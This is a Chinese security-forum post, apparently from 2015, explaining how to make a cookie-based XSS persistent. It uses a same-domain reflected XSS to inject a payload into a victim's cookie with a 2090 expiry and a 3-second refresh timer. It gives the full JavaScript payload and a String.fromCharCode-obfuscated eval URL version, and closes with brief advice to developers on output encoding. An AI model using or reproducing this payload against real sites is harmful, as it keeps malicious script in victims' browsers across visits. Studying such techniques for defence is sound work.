本帖最后由 Θ㏒ 于 2015-12-16 05:55 编辑
注入COOKIE实现XSS持久性
在常见的实例中我们通过WEB扫描器扫到COOKIE XSS这样的漏洞,简单来看甚至并没有反射性XSS好利用。
其实不然,我们看简单一个例子。
HTTP请求头:
COOKIE: name=90sec
页面A:
<html>
<body>
welcome to 90sec.
</body>
经过细心调试,发现90sec内容是从cookie name字段提取的。Victim浏览器下一般只能用javascript来修改name为xss代码。
那么这种COOKIE XSS该如何利用呢?
我们先找到任何一个同域的XSS漏洞B页面
http://abc.com/project/id/1/alert(/Warning/)
这里是可以正常弹出alert.那好,通过此处将持久性代码注入到同域下的COOKIE name字段里去。
document.title= 'COOKIE Injtion';
document.body.innerHTML="<html><body><h1><font color=\"red\">XSS!!!<\/font><\/h1><\/body>";
var c=document.cookie;
function getCookie(c_name){
if (document.cookie.length>0){
c_start=document.cookie.indexOf(c_name + "=");
if (c_start!=-1){
c_start=c_start + c_name.length+1;
c_end=document.cookie.indexOf(";",c_start);
if (c_end==-1) c_end=document.cookie.length;
return unescape(document.cookie.substring(c_start,c_end));
}
}
return "";
}
c=getCookie('name');
function sc(){document.cookie="name="+c+";host=abc.com;expires=Mon, 10 May 2090 10:10:11 GMT;path=\/;";}
sc();
function xt(){
sc();
}
setInterval("xt()",3000);
上面代码关键在于expires设置成了一个超长GMT格式过期时间。普通情况下COOKIE在没有过期条件下浏览器退出就会清空掉。
实际环境中,可以用String.fromCharCode将代码转换为一行,为了防止超长COOKIE导致错误也可以直接远程引用。
http://abc.com/project/id/1/eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 116, 105, 116, 108, 101, 61, 32, 39, 67, 79, 79, 75, 73, 69, 32, 73, 110, 106, 116, 105, 111, 110, 39, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 61, 34, 60, 104, 116, 109, 108, 62, 60, 98, 111, 100, 121, 62, 60, 104, 49, 62, 60, 102, 111, 110, 116, 32, 99, 111, 108, 111, 114, 61, 92, 34, 114, 101, 100, 92, 34, 62, 88, 83, 83, 33, 33, 33, 60, 92, 47, 102, 111, 110, 116, 62, 60, 92, 47, 104, 49, 62, 60, 92, 47, 98, 111, 100, 121, 62, 34, 59, 32, 118, 97, 114, 32, 99, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 67, 111, 111, 107, 105, 101, 40, 99, 95, 110, 97, 109, 101, 41, 123, 32, 105, 102, 32, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 108, 101, 110, 103, 116, 104, 62, 48, 41, 123, 32, 32, 32, 99, 95, 115, 116, 97, 114, 116, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 105, 110, 100, 101, 120, 79, 102, 40, 99, 95, 110, 97, 109, 101, 32, 43, 32, 34, 61, 34, 41, 59, 32, 32, 32, 105, 102, 32, 40, 99, 95, 115, 116, 97, 114, 116, 33, 61, 45, 49, 41, 123, 32, 32, 32, 32, 32, 32, 99, 95, 115, 116, 97, 114, 116, 61, 99, 95, 115, 116, 97, 114, 116, 32, 43, 32, 99, 95, 110, 97, 109, 101, 46, 108, 101, 110, 103, 116, 104, 43, 49, 59, 32, 32, 32, 32, 32, 99, 95, 101, 110, 100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 105, 110, 100, 101, 120, 79, 102, 40, 34, 59, 34, 44, 99, 95, 115, 116, 97, 114, 116, 41, 59, 32, 32, 32, 32, 32, 105, 102, 32, 40, 99, 95, 101, 110, 100, 61, 61, 45, 49, 41, 32, 99, 95, 101, 110, 100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 108, 101, 110, 103, 116, 104, 59, 32, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 117, 110, 101, 115, 99, 97, 112, 101, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 115, 117, 98, 115, 116, 114, 105, 110, 103, 40, 99, 95, 115, 116, 97, 114, 116, 44, 99, 95, 101, 110, 100, 41, 41, 59, 32, 32, 32, 32, 32, 125, 32, 32, 32, 32, 125, 32, 114, 101, 116, 117, 114, 110, 32, 34, 34, 59, 32, 125, 32, 99, 61, 103, 101, 116, 67, 111, 111, 107, 105, 101, 40, 39, 110, 97, 109, 101, 39, 41, 59, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 99, 40, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 61, 34, 110, 97, 109, 101, 61, 34, 43, 99, 43, 34, 59, 104, 111, 115, 116, 61, 97, 98, 99, 46, 99, 111, 109, 59, 101, 120, 112, 105, 114, 101, 115, 61, 77, 111, 110, 44, 32, 49, 48, 32, 77, 97, 121, 32, 50, 48, 57, 48, 32, 49, 48, 58, 49, 48, 58, 49, 49, 32, 71, 77, 84, 59, 112, 97, 116, 104, 61, 92, 47, 59, 34, 59, 125, 32, 115, 99, 40, 41, 59, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 120, 116, 40, 41, 123, 32, 115, 99, 40, 41, 59, 32, 125, 32, 115, 101, 116, 73, 110, 116, 101, 114, 118, 97, 108, 40, 34, 120, 116, 40, 41, 34, 44, 51, 48, 48, 48, 41, 59))
xss payload设置好之后我们用最技巧性办法让victim使代码注入进cookie,中枪后只要下次访问就会重新激活XSS代码,这时一般XSS也就转换为了持久型的XSS。这样只要COOKIE没有被手动清除是长期驻留在系统里的。
开发人员建议:
将特殊字符"'<>\(),等编码为HTML字符实体。一般开发人员虽然很注重输入过滤,在输出上并没察觉出什么问题,认为只要输入做的严格就不会有大问题,甚至有安全开发经验人员也不例外。因为有时候并不一定是来自WEB层的攻击。客户端的COOKIE缓存文件被恶意修改,依然可以造成注入持续性XSS攻击。
======================================
工欲善其事必先利其器,通过。
|